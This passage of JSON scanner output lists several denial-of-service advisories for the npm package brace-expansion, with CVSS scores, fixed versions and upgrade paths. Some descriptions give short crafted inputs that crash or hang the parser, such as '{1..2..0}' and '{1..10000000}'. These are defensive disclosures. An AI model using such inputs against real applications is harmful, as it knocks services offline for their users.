"upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", 